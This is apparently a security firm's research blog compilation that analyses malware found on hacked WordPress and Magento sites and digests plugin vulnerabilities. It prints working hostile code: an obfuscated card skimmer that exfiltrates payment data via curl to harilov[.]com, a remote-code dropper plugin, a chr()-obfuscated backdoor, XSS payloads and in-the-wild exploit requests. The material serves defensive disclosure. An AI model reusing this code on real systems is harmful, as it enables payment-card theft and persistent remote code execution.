Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

<?php
$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec
?>

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

Email Scraper: Mass Mail Grabber from Database

One of our Remediation team analysts, Liam Smith, discovered a malicious file on a client’s compromised WordPress website that demonstrates how attackers can use rudimentary tools to extract specific data from available databases.

In this case, a malicious PHP file was targeting email addresses stored on a compromised webserver.

./mail.php

The input data requested by the malicious PHP script is used to connect to the SQL server/service and access any available SQL databases. The connection information for the compromised website can be gathered from existing configuration files, such as wp-config.php and configuration.php.

Mass Mail Grabber from Database

Once the attacker completes and submits the form on mail.php, the malicious PHP code handles the rest. It connects to any available SQL databases with the login information submitted and queries them.

Mailicious PHP Code

The scraper was not elegantly designed; it’s not efficient in the methods used to perform SQL queries. As a result, it struggles to stay within reasonable max_execution_time or memory_limit limits defined by the hosting server’s php.ini settings.

This inefficiency stems from the fact that it uses the SQL user login information submitted by the attacker on the mail.php form to retrieve a list of available databases, then lists the tables for each database, and finally displays the columns for each table of each database.

Once the data is collected, the final result is then queried. The PHP function preg_match is used to look for text containing the @ symbol in the text fields of the query results. Anything containing the @ symbol is then dumped into the file result-mail.txt, which generates a hyperlink for the attacker to click and download after the malicious tool has finished running.

PHP Dropper Concealed in Malicious WordPress Plugin

Moe Obaid - an analyst from our Remediation Team - recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.

Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.

PHP Dropper Functionality

This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:


function upload1Fsociety112233(){
        function getDataFromURLWP112233($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            curl_close($ch);
            if (!$output) {
                $output = file_get_contents($url);
                if (!$output) {
                    $handle = fopen($url, "r");
                    $output = stream_get_contents($handle);
                    fclose($handle);
                }
            }
            if (!$output) {
                return false;
            } else {
                return $output;
            }
        }

        function putDataFromURLWP112233($file, $dump)
        {
            $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
            file_put_contents($file, $dump);
        }
        if(isset($_REQUEST["testingfsoc"])) {
            $url = $_REQUEST["url"];
            $fileName = $_REQUEST["filename"];
            $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php";
            $dataFromURL = getDataFromURLWP112233($url);
            if($dataFromURL){
                putDataFromURLWP112233($fullFileName,$dataFromURL);
            }
        }
}

The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:

  • getDataFromURLWP112233
  • putDataFromURLWP112233

The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.

The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.

<?php
function validateUserAgentWP112233(){
    function checkSecretUserAgent112233($user){
        if($user == $_SERVER['HTTP_USER_AGENT']){
            return true;
        }else{
            return false;
        }
    }
    function hookAdminPluginWP112233($plugin){
        $itemsForHooking = array($plugin);
        global $wp_list_table;
        $myData = $wp_list_table->items;
        foreach ($myData as $key => $val) {
            if (in_array($key, $itemsForHooking)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
    if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){
        hookAdminPluginWP112233('wpfilmngr/index.php');
    }
}
?>

The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36

When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.

The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.

If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.

Stored XSS in Elementor

Exploitation Level: Easy/Requires Authentication
DREAD Score: 8.0
Vulnerability: Stored XSS
Patched Version: 2.7.6

During a routine audit of WordPress plugins last december, we discovered a Stored XSS vulnerability in the very popular Elementor Page Builder plugin, which powers no less than 3 million+ websites according to the official active installs count.

Are You Affected?

This vulnerability is exploitable on sites which allow users to have accounts and are using Elementor versions lower than 2.7.6, released last December.

A successful attack results in malicious scripts being injected on the plugin’s System Info page. If an administrator visits that page, the malicious Javascript code can execute privileged actions on the victim’s behalf, like creating new administrative accounts or storing backdoors on the site to maintain access.

Indicators of Compromise

This vulnerability can be exploited via the WordPress AJAX endpoint /wp-admin/admin-ajax.php.

Depending on the exploit, website owners may be able to flag attacks in access logs by looking for requests from unknown IPs containing action=elementor_js_log in the request.

Conclusion & Mitigation Steps

To protect against this vulnerability, we strongly encourage users of the Elementor Page Builder to update their site to the latest version available as soon as possible — 2.8.5 at the time of writing.

Users who are unable to update immediately can leverage the Sucuri Firewall or equivalent technology to virtually patch the vulnerability.

Vulnerabilities Digest: January 2020

Fixed Plugins and Vulnerabilities

PluginVulnerabilityPatched VersionInstalls
InfiniteWP ClientLogin bypass1.9.4.5300000
ListingProReflected XSS2.5.413000
Travel BookingStored XSS2.7.8.67627
Real Estate 7Stored XSS2.9.57725
Computer Repair ShopStored XSS2.0100
Video on Admin DashboardStored XSS1.1.460
Marketo Forms and Tracking CSRF to XSSN/AClosed
Contextual Adminbar ColorStored XSS0.350
Batch-Move PostsStored XSSN/AClosed
WP Database Reset Database Reset3.1580000
Minimal Coming Soon & Maintenance ModeStored XSS2.1580000
Ultimate FAQReflected XSS1.8.2940000
WP Simple Spreadsheet Fetcher For GoogleArbitrary API Update0.4.810
Import Users From CSV with MetUnauthorised Users Export1.15.130000

Highlights for January 2020

Logical vulnerabilities in PHP code are still the most dangerous and challenging to block.

The InfiniteWP Client plugin allows site owners to manage multiple websites from one central server using the InfiniteWP Server and versions < 1.9.4.5 were affected by an authentication bypass.

Exploit Attempts Seen in the Wild

54.39.10.60 -- POST -- /wp-admin/ -- _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsic2l0ZV91cmwiOiJodHRwOlwvXC93ZWVkaW1wYWN0LmNvbVwvd3AtYWRtaW5cLyIsImFjdGlvbiI6ImFkZF9zaXRlIiwicHVibGljX2tleSI6IkxTMHRMUzFDUlVkSlRpQlFWVUpNU1VNZ1MwVlpMUzB0TFMwS1RVbEpRa2xxUVU1Q1oydHhhR3RwUnpsM01FSkJVVVZHUVVGUFEwRlJPRUZ....skipped..RDR1AyOStRcGtkMkRtdmRUR2VkVW5JeGFXNGkzZktDem0yd05pOUJFUTJEdkVyYUVzZ29qVkNodHZXaU5DKzhYMkI2a1wveENPK0FLYWFkUW9kRzZqVGRWQmdOeStnUzRrZElHaWhGZG9TZXRnPT0iLCJ1c2VybmFtZSI6IiIsImFjdGl2YXRpb25fa2V5IjoiNmQxOTllNjRmNjlmN2RjMjM4NGY0NThlMjEzMGU1NTI3NzZlODEzYiJ9LCJpd3BfYWRtaW5fdmVyc2lvbiI6IjIuMTUuNS4zIn0=

Detected IPs

93.95.102.51
188.127.224.35
178.32.47.218
66.228.44.215
173.249.6.22
54.39.10.60
5.196.207.195
84.238.108.177
109.96.171.178
92.119.185.126
82.77.172.62
82.78.189.130
46.253.203.36
82.77.172.62
[...]

Cross Site Scripting

Cross site scripting vulnerabilities were most predominant this month.

Contextual Adminbar Color

Contextual Adminbar Color fixed a low criticality authenticated stored cross site scripting vulnerability caused by the use of the incorrect filtering function. As mentioned in WordPress’ documentation, the function sanitize_text_field should only be used when we want to be permissive with the data we are getting from user input.

PoC
message" onfocus=confirm(123) autofocus="yes"
Patch (version 0.3)
@@ -100,6 +100,6 @@
        if ( get_option( 'contextual-adminbar-color' ) ) {
             $current_settings = get_option( 'contextual-adminbar-color' );
-            $slug = sanitize_text_field( $current_settings['slug'] );
-            $message = sanitize_text_field( $current_settings['message'] );
+            $slug = esc_html( $current_settings['slug'] );
+            $message = esc_attr( $current_settings['message'] );

UltimateFAQ

UltimateFAQ fixed a medium criticality reflected cross site scripting vulnerability caused by a lack of sanitized user input.

PoC
http://site.com/?Display_FAQ=’<svg/onload=alert(123)>;
Patch (version 1.8.30)
@@ -246,5 +246,5 @@
     }
     elseif (isset($_GET['Display_FAQ'])) {
-        $ReturnString .= "<script>var Display_FAQ_ID = '" . $_GET['Display_FAQ'] . "-%Counter_Placeholder%';</script>";
+        $ReturnString .= "<script>var Display_FAQ_ID = '" . intval($_GET['Display_FAQ']) . "-%Counter_Placeholder%';</script>";
         $Display_FAQ_ID = $_GET['Display_FAQ'];
     }

vBulletin

An RCE in vBulletin is still within the scope of attackers.

Exploit Attempts Seen in the Wild

182.161.69.114 -- POST -- /forums.php -- epass=2dmfrb28nu3c6s9j&routestring=ajax/render/widget_php&widgetConfig[code]=die(@md5(HellovBulletin));

Detected IPs

94.191.113.146
66.155.39.56
106.54.229.94
139.186.21.132
119.27.173.75
182.161.69.114
5.101.0.209
190.117.233.114
156.204.11.228
222.254.76.56
42.112.159.255
118.70.26.13
36.76.172.176
160.120.177.106
[...]

A malicious campaign that peaked last year has finally ceased this past month, mostly because some sites have stopped publishing new plugin vulnerability exploits.

PHPUnit

Attackers are still trying to leverage an RCE in PHPUnit.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allowed remote attackers to execute arbitrary PHP code via HTTP POST data.

Exploit Attempts Seen in the Wild

POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -- 

PATH / Technologies Scanned

POST -- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //krisda/stockapi/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //pgd/pgnim/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //Cloudflare-CPanel-7.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //atoms/raphaelfonseca/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //entmain/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //school/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //web.public/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //4walls/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //concrete/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpmailer/PHPMailer/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //sistema/dompdf-master/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //pid/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //digitalscience/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //fcma/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/src/Util/PHP/eval-stdin.php
POST -- //phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
POST -- //lib/phpunit/Util/PHP/eval-stdin.php
POST -- //phpunit/Util/PHP/eval-stdin.php
POST -- //simpeg-code-dinkes/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //test/med-decision/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/Util/PHP/eval-stdin.php
POST -- //go2growApi/payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //payment/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST -- //wsviamatica/wszool/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[...]

Webshell in Fake Plugin /blnmrpb/ Directory

Our team recently discovered a web shell attempting to hide within a fake WordPress plugin directory wp-content/plugins/blnmrpb/. Inside this fake plugin directory were only two files: index.php and log.txt.

At first glance, the index.php file’s code appears to be very benign. The entire file contains only a single line of actual PHP code ⁠— the rest is simply comments and code tags.

Fake CMSmap WordPress Shell

CMSmap - WordPress Shell is only half right; the file has nothing to do with CMSmap but it is a shell. This single line of PHP uses the include() function to pull the malicious payload from log.txt.

On its own, the log.txt file is not parsed as PHP unless specific changes are made to the .htaccess file or HTTP configuration. When the log.txt file is loaded by include() then the malicious contents within log.txt can be loaded and parsed within the index.php file itself. This allows the index.php file to execute the malicious code from log.txt and allows index.php to look benign by itself.

encoded base64 PHP shell found in log.txt

The bulk of the PHP shell’s code found in log.txt is contained within a long string. Only a portion is shown in the image, however the string actually contains over 60,000 characters. It has been encoded with base64 and then compressed to reduce its overall size.

The log.txt file also conceals the PHP functions used to evaluate the string of text by using hexadecimal values instead of ASCII text:

273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827
Hex => ASCII
';eval(gzuncompress(base64_decode('

After decoding the base64 and uncompressing the text string, it goes from ~60,000 characters to ~147,000 characters — and we are left with raw PHP code which used to load the GUI shell in the browser.

PHP shell loaded in browser for login

When the PHP shell file is loaded in the browser, it prompts the user for a password to access the shell’s functionality. This is a common method of access control for web shells in general.

In this case, the file name doesn’t need to be specified in the URL since it’s been aptly named index.php — the default index file for most HTTP server configurations.

This PHP web shell was written in Chinese, so I've used Google Chrome's translate feature to convert the text into English for easier navigation.

PHP webshell dashboard and features

It offers much of the same features that are prevalent in similar GUI PHP shells and offers a range of functionality when installed in a compromised environment:

  • PHP Code Execution: An attacker can execute PHP code through the shell itself.
  • MySQL Connection: Allows a bad actor to connect to a database to perform various functions like downloading a data dump or deleting content by dropping tables, etc.
  • Port Scanning: Scanning for open port within the server is less likely to be blocked, allowing attackers to pinpoint open ports within the network.
  • GUI File Manager: Facilitates file management similar to FTP or cPanel’s File Manager.
  • Server Information: This feature lists important information about the website’s server environment including type of operating system (e.g uname) and running services.
  • Reverse Shells: Attackers can use this feature to bind a shell to a port from the compromised website's server to a separate, externally controlled server.

Backdoor Found in Compromised WordPress Environment

Our security analyst Ben Martin recently came across a backdoor in a compromised WordPress installation that had been injected into the first line of the theme file ./wp-content/themes/flatsome/header.php.

<?php
if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) 
   { $a = chr(109).chr(110);
     $n1 = chr(102).chr(105).chr(108).chr(101).chr(95);
     $n2 = chr(112).chr(117).chr(116).chr(95);
     $n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
     $b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
     $b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1;
     $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
     $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]);
     $z3 = $b2($_REQUEST[chr(100).chr(49)]);
@$n3($a,$z2);
@include($a);@unlink($a);
$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a;
@$n3($a,$z2);
@include($a);@unlink($a);die();
  } ?>

In this malicious sample, attackers use a well-known method to obfuscate the code called "string concatenation". Through the usage of the PHP function chr(), they store individual decimal values that correlate to the desired ASCII characters — making something like chr(104).chr(105) the equivalent to the ASCII characters for 'hi'.

The beginning of the code has two conditional checks within an if statement that need to be met before the malicious code will be executed:

  1. $_POST parameter with the name asavsdvds must exist in the attacker’s request
  2. $_POST parameter with the name lgkfghdfh must contain a value that whose MD5 hash sum equals e9787adc5271cb0f765294503da3f2dc

When decoded, the following variables show the purpose of this malicious code:

  • $a = mn and later changed to /tmp/mn
  • $n3 = file_put_contents
  • $b2 = base64_decode
  • $z2 = <?php base64_decode($_REQUEST[d1])
  • $n3 = file_put_contents

@$n3($a, $z2);
/*
replacing variables to make it easier to read:
@file_put_contents(mn, base64_decoded value of attacker's 'd1' request)
*/
@include($a);
@unlink($a);

The backdoor uses file_put_contents() to insert PHP code into a file named mn which is delivered to the file through the attacker’s encoded base64 $_REQUEST named d1.

The PHP function include() is used to load the mn file which contains the malicious PHP code delivered by the attacker’s HTTP request. After the mn file coding is included, then it is removed by the PHP function unlink.

The malicious code then repeats the same process — but this time it uses the file location /tmp/mn instead of mn. This is likely done to avoid any possible ownership or permission errors that may occur when using file_put_contents() to generate the file in the attacker’s request.

Since the malicious contents are provided by the attacker in their base64 encoded HTTP request, there’s a number of possibilities as to what PHP code could be getting included in ./wp-content/themes/flatsome/header.php. One example that is easy to demonstrate is passing along a base64 encoded string of the PHP code system(ls);.

Once loaded through the include() function, it will show the attacker the directory file listing.

directory file listing malicious code

The attacker can use a backdoor injection like this to maintain access to the compromised environment to remotely execute code until the injection has been fully removed.